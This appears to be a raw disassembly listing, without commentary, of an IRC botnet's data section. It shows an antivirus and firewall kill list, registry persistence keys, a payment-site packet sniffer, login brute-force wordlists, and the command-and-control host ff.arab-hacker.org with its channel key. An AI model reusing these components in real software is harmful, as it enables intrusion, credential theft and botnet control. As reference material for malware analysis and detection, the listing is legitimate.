.data:0043BC54o aWinnet_exe db 'WINNET.EXE',0 ; DATA XREF: .data:0043BC58o align 4 aWinppr32_exe db 'WINPPR32.EXE',0 ; DATA XREF: .data:0043BC5Co align 4 aWinrecon_exe db 'WINRECON.EXE',0 ; DATA XREF: .data:0043BC60o align 4 aWinservn_exe db 'WINSERVN.EXE',0 ; DATA XREF: .data:0043BC64o align 4 aWinssk32_exe db 'WINSSK32.EXE',0 ; DATA XREF: .data:0043BC68o align 4 aWinstart_exe db 'WINSTART.EXE',0 ; DATA XREF: .data:0043BC6Co align 4 aWinstart001_ex db 'WINSTART001.EXE',0 ; DATA XREF: .data:0043BC70o aWintsk32_exe db 'WINTSK32.EXE',0 ; DATA XREF: .data:0043BC74o align 4 aWinupdate_exe db 'WINUPDATE.EXE',0 ; DATA XREF: .data:0043BC78o align 4 aWkufind_exe db 'WKUFIND.EXE',0 ; DATA XREF: .data:0043BC7Co aWnad_exe db 'WNAD.EXE',0 ; DATA XREF: .data:0043BC80o align 10h aWnt_exe db 'WNT.EXE',0 ; DATA XREF: .data:0043BC84o aWradmin_exe db 'WRADMIN.EXE',0 ; DATA XREF: .data:0043BC88o aWrctrl_exe db 'WRCTRL.EXE',0 ; DATA XREF: .data:0043BC8Co align 10h aWsbgate_exe db 'WSBGATE.EXE',0 ; DATA XREF: .data:0043BC90o aWupdater_exe db 'WUPDATER.EXE',0 ; DATA XREF: .data:0043BC94o align 4 aWupdt_exe db 'WUPDT.EXE',0 ; DATA XREF: .data:0043BC98o align 4 aWyvernworksfir db 'WYVERNWORKSFIREWALL.EXE',0 ; DATA XREF: .data:0043BC9Co aXpf202en_exe db 'XPF202EN.EXE',0 ; DATA XREF: .data:0043BCA0o align 10h aZapro_exe db 'ZAPRO.EXE',0 ; DATA XREF: .data:0043BCA4o align 4 aZapsetup3001_e db 'ZAPSETUP3001.EXE',0 ; DATA XREF: .data:0043BCA8o align 10h aZatutor_exe db 'ZATUTOR.EXE',0 ; DATA XREF: .data:0043BCACo aZonalm2601_exe db 'ZONALM2601.EXE',0 ; DATA XREF: .data:0043BCB0o align 4 aZonealarm_exe db 'ZONEALARM.EXE',0 ; DATA XREF: .data:0043BCB4o align 4 a_avp32_exe db '_AVP32.EXE',0 ; DATA XREF: .data:0043BCB8o align 4 a_avpcc_exe db '_AVPCC.EXE',0 ; DATA XREF: .data:0043BCBCo align 4 a_avpm_exe db '_AVPM.EXE',0 ; DATA XREF: .data:0043BCC0o align 10h aHijackthis_exe db 'HIJACKTHIS.EXE',0 ; DATA XREF: .data:0043BCC4o align 10h aFAgobot_exe db 'F-AGOBOT.EXE',0 ; DATA XREF: .data:0043BCC8o align 10h aPandaavengine_ db 'PandaAVEngine.exe',0 ; DATA XREF: .data:0043BCCCo align 4 aSysinfo_exe db 'sysinfo.exe',0 ; DATA XREF: .data:0043BCD0o aMscvb32_exe db 'mscvb32.exe',0 ; DATA XREF: .data:0043BCD4o aPenis32_exe db 'Penis32.exe',0 ; DATA XREF: .data:0043BCD8o aBbeagle_exe db 'bbeagle.exe',0 ; DATA XREF: .data:0043BCDCo aSysmonxp_exe db 'SysMonXP.exe',0 ; DATA XREF: .data:0043BCE0o align 4 aWinupd_exe db 'winupd.exe',0 ; DATA XREF: .data:0043BCE4o align 10h aWinsys_exe db 'winsys.exe',0 ; DATA XREF: .data:0043BCE8o align 4 aSsate_exe db 'ssate.exe',0 ; DATA XREF: .data:0043BCECo align 4 aRate_exe db 'rate.exe',0 ; DATA XREF: .data:0043BCF0o align 4 aD3dupdate_exe db 'd3dupdate.exe',0 ; DATA XREF: .data:0043BCF4o align 4 aIrun4_exe db 'irun4.exe',0 ; DATA XREF: .data:0043BCF8o align 10h aI11r54n4_exe db 'i11r54n4.exe',0 ; DATA XREF: .data:0043BCFCo align 10h aSedebugprivi_1 db 'SeDebugPrivilege',0 ; DATA XREF: sub_40B4F2+5Ao align 4 aSD_0 db ' %s (%d)',0 ; DATA XREF: sub_40B4F2+17Do align 10h aSD_1 db ' %s (%d)',0 ; DATA XREF: sub_40B4F2+18Bo align 4 aSD_2 db ' %s (%d)',0 ; DATA XREF: sub_40B4F2+19Fo align 4 aSedebugprivi_2 db 'SeDebugPrivilege',0 ; DATA XREF: sub_40B4F2+207o align 4 aProcListingPro db '[PROC]: Listing processes:',0 ; DATA XREF: sub_40B735+19o align 4 aProcProcessLis db '[PROC]: Process list completed.',0 ; DATA XREF: sub_40B735+80o aProcProcessL_0 db '[PROC]: Process list failed.',0 ; DATA XREF: sub_40B735:loc_40B7BCo align 4 off_43DF88 dd offset off_43E080 ; DATA XREF: sub_40B86A+29Er dd offset aHttp_0 ; "HTTP" aStormpay_com db 'stormpay.com',0 ; DATA XREF: sub_40B86A+1DEo align 10h dd 0 dword_43DFA4 dd 3 ; DATA XREF: sub_40B86A+297r aStormpay_com_0 db 'STORMPAY.COM',0 align 4 dd 0 dd 3, 79616265h, 6D6F632Eh, 3 dup(0) dd 3, 59414245h, 4D4F432Eh, 3 dup(0) dd 3, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) off_43E080 dd offset byte_435249 ; DATA XREF: .data:off_43DF88o aHttp_0 db 'HTTP',0 ; DATA XREF: .data:0043DF8Co align 4 aPsniffErrorSoc db '[PSNIFF]: Error: socket() failed, returned: <%d>.',0 ; DATA XREF: sub_40B86A+85o align 10h aPsniffErrorBin db '[PSNIFF]: Error: bind() failed, returned: <%d>.',0 ; DATA XREF: sub_40B86A+103o aPsniffErrorWsa db '[PSNIFF]: Error: WSAIoctl() failed, returned: <%d>.',0 ; DATA XREF: sub_40B86A+186o aPsniffErrorRec db '[PSNIFF]: Error: recv() failed, returned: <%d>',0 ; DATA XREF: sub_40B86A+2FCo align 4 aPsniff db '[PSNIFF]',0 ; DATA XREF: sub_40B86A+235o align 10h aPsniffSuspicio db '[PSNIFF]: Suspicious %s packet from: %s:%d - %s.',0 ; DATA XREF: sub_40B86A+2ABo align 4 dword_43E194 dd 1B9h ; DATA XREF: sub_40BBCB+519r ; sub_40BBCB+5CCr dword_43E198 dd 346h ; DATA XREF: sub_40BBCB+618r dword_43E19C dd 1F41h ; DATA XREF: sub_40C50A:loc_4122D4r dword_43E1A0 dd 45h ; DATA XREF: sub_402994+3Br ; sub_40C50A+52E7r dword_43E1A4 dd 50h ; DATA XREF: sub_402994:loc_402C43r ; sub_40C50A:loc_4118E3r dword_43E1A8 dd 201h ; DATA XREF: sub_40C50A:loc_411A59r dword_43E1AC dd 1 ; DATA XREF: sub_40C50A+638r dword_43E1B0 dd 1 ; DATA XREF: sub_40BBCB+13Dr dword_43E1B4 dd 1 ; DATA XREF: sub_409D2E+Cr ; sub_40BBCB:loc_40BF0Cr byte_43E1B8 db 7Ah ; DATA XREF: sub_405576:loc_405582r ; sub_40C50A+A7Br ... align 4 dword_43E1BC dd 5 ; DATA XREF: sub_413532+2Br ; sub_413532+51r ... dword_43E1C0 dd 1 ; DATA XREF: sub_40C22A+78r ; sub_40C50A+273r ... dword_43E1C4 dd 1 ; DATA XREF: sub_40C22A+72r ; sub_40C50A+26Dr aFenr db 'FEnR',0 ; DATA XREF: sub_40BBCB+5Do ; sub_40C50A+3E40o ... align 10h aFenr_0 db 'FEnR',0 ; DATA XREF: sub_40C50A:loc_4124E4o align 4 a19736666386888 db '19736666386888',0 ; DATA XREF: sub_40C50A+6185o ; sub_40C50A+6254o align 4 aFf_arabHacker_ db 'ff.arab-hacker.org',0 ; DATA XREF: sub_40BBCB+504o ; sub_40BBCB+5BDo align 4 aFf db '#ff',0 ; DATA XREF: sub_40BBCB+525o ; sub_40BBCB+5D3o aFuckoff db 'fuckoff',0 ; DATA XREF: sub_40BBCB+53Co ; sub_40BBCB+5E5o aAmngesiyko_exe db 'amngesiyko.exe',0 ; DATA XREF: sub_40119E+Fo ; .text:00401805o ... align 4 aMscobngins_dat db 'mscobngins.dat',0 ; DATA XREF: sub_4084C8+3Do align 4 aWindowsUpdate5 db 'Windows update 55',0 ; DATA XREF: sub_4038C0+Eo align 4 aFf_2 db '[FF]-',0 ; DATA XREF: sub_413532+12o align 4 aPay0load db 'pay0load',0 align 10h asc_43E250 db '+x',0 ; DATA XREF: sub_40C50A+62D4o align 4 aFf_1 db '#ff-',0 ; DATA XREF: sub_40C50A:loc_40F797o ; sub_40C50A+50A6o ... align 4 aFfkey db '#ffKey',0 ; DATA XREF: sub_40C50A+1EC0o align 4 aFa db '#fa',0 ; DATA XREF: sub_40C50A+1C36o off_43E268 dd offset a@fofo ; DATA XREF: sub_40C50A:loc_4126D9o ; "*@fofo" off_43E26C dd offset aMircV6_12Khale ; DATA XREF: sub_40C50A+8A0r ; sub_40C50A+61EBo ; "mIRC v6.12 Khaled Mardam-Bey" dd offset aMircV6_03Khale ; "mIRC v6.03 Khaled Mardam-Bey" dd offset aMirc32V5_82K_m ; "mIRC32 v5.82 K.Mardam-Bey" dd offset aMirc32V6_01K_m ; "mIRC32 v6.01 K.Mardam-Bey" dd offset aMirc32V6_03K_m ; "mIRC32 v6.03 K.Mardam-Bey" dd offset aMirc32V6_12K_m ; "mIRC32 v6.12 K.Mardam-Bey" dd offset aMircV5_71K_mar ; "mIRC v5.71 K.Mardam-Bey" dd offset aMircV5_82K_mar ; "mIRC v5.82 K.Mardam-Bey" dd offset aMircV6_01K_mar ; "mIRC v6.01 K.Mardam-Bey" dd offset aMircV6_03K_mar ; "mIRC v6.03 K.Mardam-Bey" aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 aSoftwareMicr_2 db 'Software\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_413B31+28o ; sub_413E55+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_413B31+D4o ; sub_413E55+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd offset aAdministrador ; "administrador" dd offset aAdministrateur ; "administrateur" dd offset aAdministrat ; "administrat" dd offset aAdmins ; "admins" dd offset aAdmin ; "admin" dd offset aStaff ; "staff" dd offset aRoot ; "root" dd offset aComputer ; "computer" dd offset aOwner ; "owner" dd offset aStudent ; "student" dd offset aTeacher ; "teacher" dd offset aWwwadmin ; "wwwadmin" dd offset aGuest_0 ; "guest" dd offset aDefault ; "default" dd offset aDatabase ; "database" dd offset aDba ; "dba" dd offset aOracle ; "oracle" dd offset aDb2 ; "db2" dd 0 dd offset dword_491D70 dd offset aAdministrato_1 ; "administrator" dd offset aAdministrado_0 ; "administrador" dd offset aAdministrate_0 ; "administrateur" dd offset aAdministrat_0 ; "administrat" dd offset aAdmins_0 ; "admins" dd offset aAdmin_0 ; "admin" dd offset aAdm ; "adm" dd offset aPassword1 ; "password1" dd offset aPassword ; "password" dd offset aPasswd ; "passwd" dd offset aPass1234 ; "pass1234" dd offset aPass_0 ; "pass" dd offset aPwd ; "pwd" dd offset a007 ; "007" dd offset a1 ; "1" dd offset a12 ; "12" dd offset a123 ; "123" dd offset a1234 ; "1234" dd offset a12345 ; "12345" dd offset a123456 ; "123456" dd offset a1234567 ; "1234567" dd offset a12345678 ; "12345678" dd offset a123456789 ; "123456789" dd offset a1234567890 ; "1234567890" dd offset a2000 ; "2000" dd offset a2001 ; "2001" dd offset a2002 ; "2002" dd offset a2003_0 ; "2003" dd offset a2004 ; "2004" dd offset aTest ; "test" dd offset aGuest_1 ; "guest" dd offset aNone ; "none" dd offset aDemo ; "demo" dd offset aUnix ; "unix" dd offset aLinux ; "linux" dd offset aChangeme ; "changeme" dd offset aDefault_0 ; "default" dd offset aSystem ; "system" dd offset aServer_4 ; "server" dd offset aRoot_0 ; "root" dd offset aNull_1 ; "null" dd offset aQwerty ; "qwerty" dd offset aMail ; "mail" dd offset aOutlook ; "outlook" dd offset aWeb ; "web" dd offset aWww ; "www" dd offset aInternet ; "internet" dd offset aAccounts ; "accounts" dd offset aAccounting ; "accounting" dd offset aHome ; "home" dd offset aHomeuser ; "homeuser" dd offset aUser_3 ; "user" dd offset aOem ; "oem" dd offset aOemuser ; "oemuser" dd offset aOeminstall ; "oeminstall" dd offset aWindows ; "windows" dd offset aWin98 ; "win98" dd offset aWin2k ; "win2k" dd offset aWinxp ; "winxp" dd offset aWinnt ; "winnt" dd offset aWin2000 ; "win2000" dd offset aQaz ; "qaz" dd offset aAsd ; "asd" dd offset aZxc ; "zxc" dd offset aQwe ; "qwe" dd offset aBob ; "bob" dd offset aJen ; "jen" dd offset aJoe ; "joe" dd offset aFred ; "fred" dd offset aBill ; "bill" dd offset aMike ; "mike" dd offset aJohn ; "john" dd offset aPeter ; "peter" dd offset aLuke ; "luke" dd offset aSam ; "sam" dd offset aSue ; "sue" dd offset aSusan ; "susan" dd offset aPeter_0 ; "peter" dd offset aBrian ; "brian" dd offset aLee ; "lee" dd offset aNeil ; "neil" dd offset aIan ; "ian" dd offset aChris ; "chris" dd offset aEric ; "eric" dd offset aGeorge ; "george" dd offset aKate ; "kate" dd offset aBob_0 ; "bob" dd offset aKatie ; "katie" dd offset aMary ; "mary" dd offset aLogin ; "login" dd offset aLoginpass ; "loginpass" dd offset aTechnical ; "technical" dd offset aBackup ; "backup" dd offset aExchange ; "exchange" dd offset aFuck ; "fuck" dd offset aBitch ; "bitch" dd offset aSlut ; "slut" dd offset aSex ; "sex" dd offset aGod ; "god" dd offset aHell ; "hell" dd offset aHello ; "hello" dd offset aDomain ; "domain" dd offset aDomainpass ; "domainpass" dd offset aDomainpassword ; "domainpassword" dd offset aDatabase_0 ; "database" dd offset aAccess ; "access" dd offset aDbpass ; "dbpass" dd offset aDbpassword ; "dbpassword" dd offset aDatabasepass ; "databasepass" dd offset aData ; "data" dd offset aDatabasepasswo ; "databasepassword" dd offset aDb1 ; "db1" dd offset aDb2_0 ; "db2" dd offset aDb1234 ; "db1234" dd offset aSa ; "sa" dd offset aSql ; "sql" dd offset aSqlpassoainsta ; "sqlpassoainstall" dd offset aOrainstall ; "orainstall" dd offset aOracle_0 ; "oracle" dd offset aIbm ; "ibm" dd offset aCisco ; "cisco" dd offset aDell ; "dell" dd offset aCompaq ; "compaq" dd offset aSiemens ; "siemens" dd offset aHp ; "hp" dd offset aNokia ; "nokia" dd offset aXp_1 ; "xp" dd offset aControl ; "control" dd offset aOffice ; "office" dd offset aBlank ; "blank" dd offset aWinpass ; "winpass" dd offset aMain ; "main" dd offset aLan_0 ; "lan" dd offset aInternet_0 ; "internet" dd offset aIntranet ; "intranet" dd offset aStudent_0 ; "student" dd offset aTeacher_0 ; "teacher" dd offset aStaff_0 ; "staff" dd 0 dword_43E5BC dd 10h ; DATA XREF: sub_4034E9+72w ; sub_40C50A+AE5r ... a@fofo db '*@fofo',0 ; DATA XREF: .data:off_43E268o align 4 aMircV6_12Khale db 'mIRC v6.12 Khaled Mardam-Bey',0 ; DATA XREF: .data:off_43E26Co align 4 aMircV6_03Khale db 'mIRC v6.03 Khaled Mardam-Bey',0 ; DATA XREF: .data:0043E270o align 4 aMirc32V5_82K_m db 'mIRC32 v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:0043E274o align 4 aMirc32V6_01K_m db 'mIRC32 v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:0043E278o align 10h aMirc32V6_03K_m db 'mIRC32 v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:0043E27Co align 4 aMirc32V6_12K_m db 'mIRC32 v6.12 K.Mardam-Bey',0 ; DATA XREF: .data:0043E280o align 4 aMircV5_71K_mar db 'mIRC v5.71 K.Mardam-Bey',0 ; DATA XREF: .data:0043E284o aMircV5_82K_mar db 'mIRC v5.82 K.Mardam-Bey',0 ; DATA XREF: .data:0043E288o aMircV6_01K_mar db 'mIRC v6.01 K.Mardam-Bey',0 ; DATA XREF: .data:0043E28Co aMircV6_03K_mar db 'mIRC v6.03 K.Mardam-Bey',0 ; DATA XREF: .data:0043E290o aAdministrato_0 db 'administrator',0 ; DATA XREF: .data:0043E33Co align 4 aAdministrador db 'administrador',0 ; DATA XREF: .data:0043E340o align 4 aAdministrateur db 'administrateur',0 ; DATA XREF: .data:0043E344o align 4 aAdministrat db 'administrat',0 ; DATA XREF: .data:0043E348o aAdmins db 'admins',0 ; DATA XREF: .data:0043E34Co align 4 aAdmin db 'admin',0 ; DATA XREF: .data:0043E350o align 4 aStaff db 'staff',0 ; DATA XREF: .data:0043E354o align 4 aRoot db 'root',0 ; DATA XREF: .data:0043E358o align 4 aComputer db 'computer',0 ; DATA XREF: .data:0043E35Co align 10h aOwner db 'owner',0 ; DATA XREF: .data:0043E360o align 4 aStudent db 'student',0 ; DATA XREF: .data:0043E364o aTeacher db 'teacher',0 ; DATA XREF: .data:0043E368o aWwwadmin db 'wwwadmin',0 ; DATA XREF: .data:0043E36Co align 4 aGuest_0 db 'guest',0 ; DATA XREF: .data:0043E370o align 4 aDefault db 'default',0 ; DATA XREF: .data:0043E374o aDatabase db 'database',0 ; DATA XREF: .data:0043E378o align 10h aDba db 'dba',0 ; DATA XREF: .data:0043E37Co aOracle db 'oracle',0 ; DATA XREF: .data:0043E380o align 4 aDb2 db 'db2',0 ; DATA XREF: .data:0043E384o aAdministrato_1 db 'administrator',0 ; DATA XREF: .data:0043E390o align 10h aAdministrado_0 db 'administrador',0 ; DATA XREF: .data:0043E394o align 10h aAdministrate_0 db 'administrateur',0 ; DATA XREF: .data:0043E398o align 10h aAdministrat_0 db 'administrat',0 ; DATA XREF: .data:0043E39Co aAdmins_0 db 'admins',0 ; DATA XREF: .data:0043E3A0o align 4 aAdmin_0 db 'admin',0 ; DATA XREF: .data:0043E3A4o align 4 aAdm db 'adm',0 ; DATA XREF: .data:0043E3A8o aPassword1 db 'password1',0 ; DATA XREF: .data:0043E3ACo align 4 aPassword db 'password',0 ; DATA XREF: .data:0043E3B0o align 4 aPasswd db 'passwd',0 ; DATA XREF: .data:0043E3B4o align 10h aPass1234 db 'pass1234',0 ; DATA XREF: .data:0043E3B8o align 4 aPass_0 db 'pass',0 ; DATA XREF: .data:0043E3BCo align 4 aPwd db 'pwd',0 ; DATA XREF: .data:0043E3C0o a007 db '007',0 ; DATA XREF: .data:0043E3C4o a1: ; DATA XREF: .data:0043E3C8o unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: .data:0043E3CCo align 4 a123 db '123',0 ; DATA XREF: .data:0043E3D0o a1234 db '1234',0 ; DATA XREF: .data:0043E3D4o align 10h a12345 db '12345',0 ; DATA XREF: .data:0043E3D8o align 4 a123456 db '123456',0 ; DATA XREF: .data:0043E3DCo align 10h a1234567 db '1234567',0 ; DATA XREF: .data:0043E3E0o a12345678 db '12345678',0 ; DATA XREF: .data:0043E3E4o align 4 a123456789 db '123456789',0 ; DATA XREF: .data:0043E3E8o align 10h a1234567890 db '1234567890',0 ; DATA XREF: .data:0043E3ECo align 4 a2000 db '2000',0 ; DATA XREF: .data:0043E3F0o align 4 a2001 db '2001',0 ; DATA XREF: .data:0043E3F4o align 4 a2002 db '2002',0 ; DATA XREF: .data:0043E3F8o align 4 a2003_0 db '2003',0 ; DATA XREF: .data:0043E3FCo align 4 a2004 db '2004',0 ; DATA XREF: .data:0043E400o align 4 aTest db 'test',0 ; DATA XREF: .data:0043E404o align 4 aGuest_1 db 'guest',0 ; DATA XREF: .data:0043E408o align 4 aNone db 'none',0 ; DATA XREF: .data:0043E40Co align 4 aDemo db 'demo',0 ; DATA XREF: .data:0043E410o align 4 aUnix db 'unix',0 ; DATA XREF: .data:0043E414o align 4 aLinux db 'linux',0 ; DATA XREF: .data:0043E418o align 4 aChangeme db 'changeme',0 ; DATA XREF: .data:0043E41Co align 10h aDefault_0 db 'default',0 ; DATA XREF: .data:0043E420o aSystem db 'system',0 ; DATA XREF: .data:0043E424o align 10h aServer_4 db 'server',0 ; DATA XREF: .data:0043E428o align 4 aRoot_0 db 'root',0 ; DATA XREF: .data:0043E42Co align 10h aNull_1 db 'null',0 ; DATA XREF: .data:0043E430o align 4 aQwerty db 'qwerty',0 ; DATA XREF: .data:0043E434o align 10h aMail db 'mail',0 ; DATA XREF: .data:0043E438o align 4 aOutlook db 'outlook',0 ; DATA XREF: .data:0043E43Co aWeb db 'web',0 ; DATA XREF: .data:0043E440o aWww db 'www',0 ; DATA XREF: .data:0043E444o aInternet db 'internet',0 ; DATA XREF: .data:0043E448o align 4 aAccounts db 'accounts',0 ; DATA XREF: .data:0043E44Co align 10h aAccounting db 'accounting',0 ; DATA XREF: .data:0043E450o align 4 aHome db 'home',0 ; DATA XREF: .data:0043E454o align 4 aHomeuser db 'homeuser',0 ; DATA XREF: .data:0043E458o align 10h aUser_3 db 'user',0 ; DATA XREF: .data:0043E45Co align 4 aOem db 'oem',0 ; DATA XREF: .data:0043E460o aOemuser db 'oemuser',0 ; DATA XREF: .data:0043E464o aOeminstall db 'oeminstall',0 ; DATA XREF: .data:0043E468o align 10h aWindows db 'windows',0 ; DATA XREF: .data:0043E46Co aWin98 db 'win98',0 ; DATA XREF: .data:0043E470o align 10h aWin2k db 'win2k',0 ; DATA XREF: .data:0043E474o align 4 aWinxp db 'winxp',0 ; DATA XREF: .data:0043E478o align 10h aWinnt db 'winnt',0 ; DATA XREF: .data:0043E47Co align 4 aWin2000 db 'win2000',0 ; DATA XREF: .data:0043E480o aQaz db 'qaz',0 ; DATA XREF: .data:0043E484o aAsd db 'asd',0 ; DATA XREF: .data:0043E488o aZxc db 'zxc',0 ; DATA XREF: .data:0043E48Co aQwe db 'qwe',0 ; DATA XREF: .data:0043E490o aBob db 'bob',0 ; DATA XREF: .data:0043E494o aJen db 'jen',0 ; DATA XREF: .data:0043E498o aJoe db 'joe',0 ; DATA XREF: .data:0043E49Co aFred db 'fred',0 ; DATA XREF: .data:0043E4A0o align 4 aBill db 'bill',0 ; DATA XREF: .data:0043E4A4o align 4 aMike db 'mike',0 ; DATA XREF: .data:0043E4A8o align 4 aJohn db 'john',0 ; DATA XREF: .data:0043E4ACo align 4 aPeter db 'peter',0 ; DATA XREF: .data:0043E4B0o align 4 aLuke db 'luke',0 ; DATA XREF: .data:0043E4B4o align 4 aSam db 'sam',0 ; DATA XREF: .data:0043E4B8o aSue db 'sue',0 ; DATA XREF: .data:0043E4BCo aSusan db 'susan',0 ; DATA XREF: .data:0043E4C0o align 4 aPeter_0 db 'peter',0 ; DATA XREF: .data:0043E4C4o align 4 aBrian db 'brian',0 ; DATA XREF: .data:0043E4C8o align 4 aLee db 'lee',0 ; DATA XREF: .data:0043E4CCo aNeil db 'neil',0 ; DATA XREF: .data:0043E4D0o align 4 aIan db 'ian',0 ; DATA XREF: .data:0043E4D4o aChris db 'chris',0 ; DATA XREF: .data:0043E4D8o align 4 aEric db 'eric',0 ; DATA XREF: .data:0043E4DCo align 4 aGeorge db 'george',0 ; DATA XREF: .data:0043E4E0o align 4 aKate db 'kate',0 ; DATA XREF: .data:0043E4E4o align 4 aBob_0 db 'bob',0 ; DATA XREF: .data:0043E4E8o aKatie db 'katie',0 ; DATA XREF: .data:0043E4ECo align 4 aMary db 'mary',0 ; DATA XREF: .data:0043E4F0o align 10h aLogin db 'login',0 ; DATA XREF: .data:0043E4F4o align 4 aLoginpass db 'loginpass',0 ; DATA XREF: .data:0043E4F8o align 4 aTechnical db 'technical',0 ; DATA XREF: .data:0043E4FCo align 10h aBackup db 'backup',0 ; DATA XREF: .data:0043E500o align 4 aExchange db 'exchange',0 ; DATA XREF: .data:0043E504o align 4 aFuck db 'fuck',0 ; DATA XREF: .data:0043E508o align 4 aBitch db 'bitch',0 ; DATA XREF: .data:0043E50Co align 4 aSlut db 'slut',0 ; DATA XREF: .data:0043E510o align 4 aSex db 'sex',0 ; DATA XREF: .data:0043E514o aGod db 'god',0 ; DATA XREF: .data:0043E518o aHell db 'hell',0 ; DATA XREF: .data:0043E51Co align 4 aHello db 'hello',0 ; DATA XREF: .data:0043E520o align 4 aDomain db 'domain',0 ; DATA XREF: .data:0043E524o align 4 aDomainpass db 'domainpass',0 ; DATA XREF: .data:0043E528o align 4 aDomainpassword db 'domainpassword',0 ; DATA XREF: .data:0043E52Co align 4 aDatabase_0 db 'database',0 ; DATA XREF: .data:0043E530o align 4 aAccess db 'access',0 ; DATA XREF: .data:0043E534o align 4 aDbpass db 'dbpass',0 ; DATA XREF: .data:0043E538o align 4 aDbpassword db 'dbpassword',0 ; DATA XREF: .data:0043E53Co align 10h aDatabasepass db 'databasepass',0 ; DATA XREF: .data:0043E540o align 10h aData db 'data',0 ; DATA XREF: .data:0043E544o align 4 aDatabasepasswo db 'databasepassword',0 ; DATA XREF: .data:0043E548o align 4 aDb1 db 'db1',0 ; DATA XREF: .data:0043E54Co aDb2_0 db 'db2',0 ; DATA XREF: .data:0043E550o aDb1234 db 'db1234',0 ; DATA XREF: .data:0043E554o align 4 aSa db 'sa',0 ; DATA XREF: .data:0043E558o align 10h aSql db 'sql',0 ; DATA XREF: .data:0043E55Co aSqlpassoainsta db 'sqlpassoainstall',0 ; DATA XREF: .data:0043E560o align 4 aOrainstall db 'orainstall',0 ; DATA XREF: .data:0043E564o align 4 aOracle_0 db 'oracle',0 ; DATA XREF: .data:0043E568o align 4 aIbm db 'ibm',0 ; DATA XREF: .data:0043E56Co aCisco db 'cisco',0 ; DATA XREF: .data:0043E570o align 4 aDell db 'dell',0 ; DATA XREF: .data:0043E574o align 10h aCompaq db 'compaq',0 ; DATA XREF: .data:0043E578o align 4 aSiemens db 'siemens',0 ; DATA XREF: .data:0043E57Co aHp db 'hp',0 ; DATA XREF: .data:0043E580o align 4 aNokia db 'nokia',0 ; DATA XREF: .data:0043E584o align 4 aXp_1 db 'xp',0 ; DATA XREF: .data:0043E588o align 10h aControl db 'control',0 ; DATA XREF: .data:0043E58Co aOffice db 'office',0 ; DATA XREF: .data:0043E590o align 10h aBlank db 'blank',0 ; DATA XREF: .data:0043E594o align 4 aWinpass db 'winpass',0 ; DATA XREF: .data:0043E598o aMain db 'main',0 ; DATA XREF: .data:0043E59Co align 4 aLan_0 db 'lan',0 ; DATA XREF: .data:0043E5A0o aInternet_0 db 'internet',0 ; DATA XREF: .data:0043E5A4o align 4 aIntranet db 'intranet',0 ; DATA XREF: .data:0043E5A8o align 4 aStudent_0 db 'student',0 ; DATA XREF: .data:0043E5ACo aTeacher_0 db 'teacher',0 ; DATA XREF: .data:0043E5B0o aStaff_0 db 'staff',0 ; DATA XREF: .data:0043E5B4o align 4 aSS_8 db '%s%s',0 ; DATA XREF: sub_40BBCB+10Do align 4 aSS_9 db '%s\%s',0 ; DATA XREF: sub_40BBCB+189o align 4 aSDS db '%s %d "%s"',0 ; DATA XREF: sub_40BBCB+28Fo align 4 aMainBotStarted db '[MAIN]: Bot started.',0 ; DATA XREF: sub_40BBCB+364o align 10h aProcsAvFwKille db '[PROCS]: AV/FW Killer active.',0 ; DATA XREF: sub_40BBCB+39Fo align 10h aProcsFailedToS db '[PROCS]: Failed to start AV/FW killer thread, error: <%d>.',0 ; DATA XREF: sub_40BBCB+3F0o align 4 aSecureRegistry db '[SECURE]: Registry monitor active.',0 ; DATA XREF: sub_40BBCB+410o align 10h aSecureFailedTo db '[SECURE]: Failed to start registry thread, error: <%d>.',0 ; DATA XREF: sub_40BBCB+463o aIdentdServerRu db '[IDENTD]: Server running on Port: 113.',0 ; DATA XREF: sub_40BBCB+490o align 10h aIdentdFailedTo db '[IDENTD]: Failed to start server, error: <%d>.',0 ; DATA XREF: sub_40BBCB+4DBo align 10h aMainConnectedT db '[MAIN]: Connected to %s.',0 ; DATA XREF: sub_40C22A+F2o align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_40C392+35o align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_40C392+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 asc_43ED84 db ' :',0 ; DATA XREF: sub_40C50A+86o align 4 asc_43ED88: ; DATA XREF: sub_40C50A+AEo unicode 0, < >,0 asc_43ED8C: ; DATA XREF: sub_40C50A:loc_40C5D5o unicode 0, < >,0 asc_43ED90: ; DATA XREF: sub_40C50A+191o unicode 0, <!>,0 aPing db 'PING',0 ; DATA XREF: sub_40C50A+1A0o align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+1BAo align 4 aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+1DBo align 4 a001 db '001',0 ; DATA XREF: sub_40C50A+1F7o a005 db '005',0 ; DATA XREF: sub_40C50A+20Co aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+62C7o align 10h aModeSS db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+62DCo align 10h aJoinSS_4 db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+62EFo align 10h a302 db '302',0 ; DATA XREF: sub_40C50A+221o a@: ; DATA XREF: sub_40C50A+231o unicode 0, <@>,0 a433 db '433',0 ; DATA XREF: sub_40C50A+25Co aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+284o align 4 aKick db 'KICK',0 ; DATA XREF: sub_40C50A+2DBo align 10h aMainUserSLogge db '[MAIN]: User %s logged out.',0 ; DATA XREF: sub_40C50A+34Co aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40C50A+365o 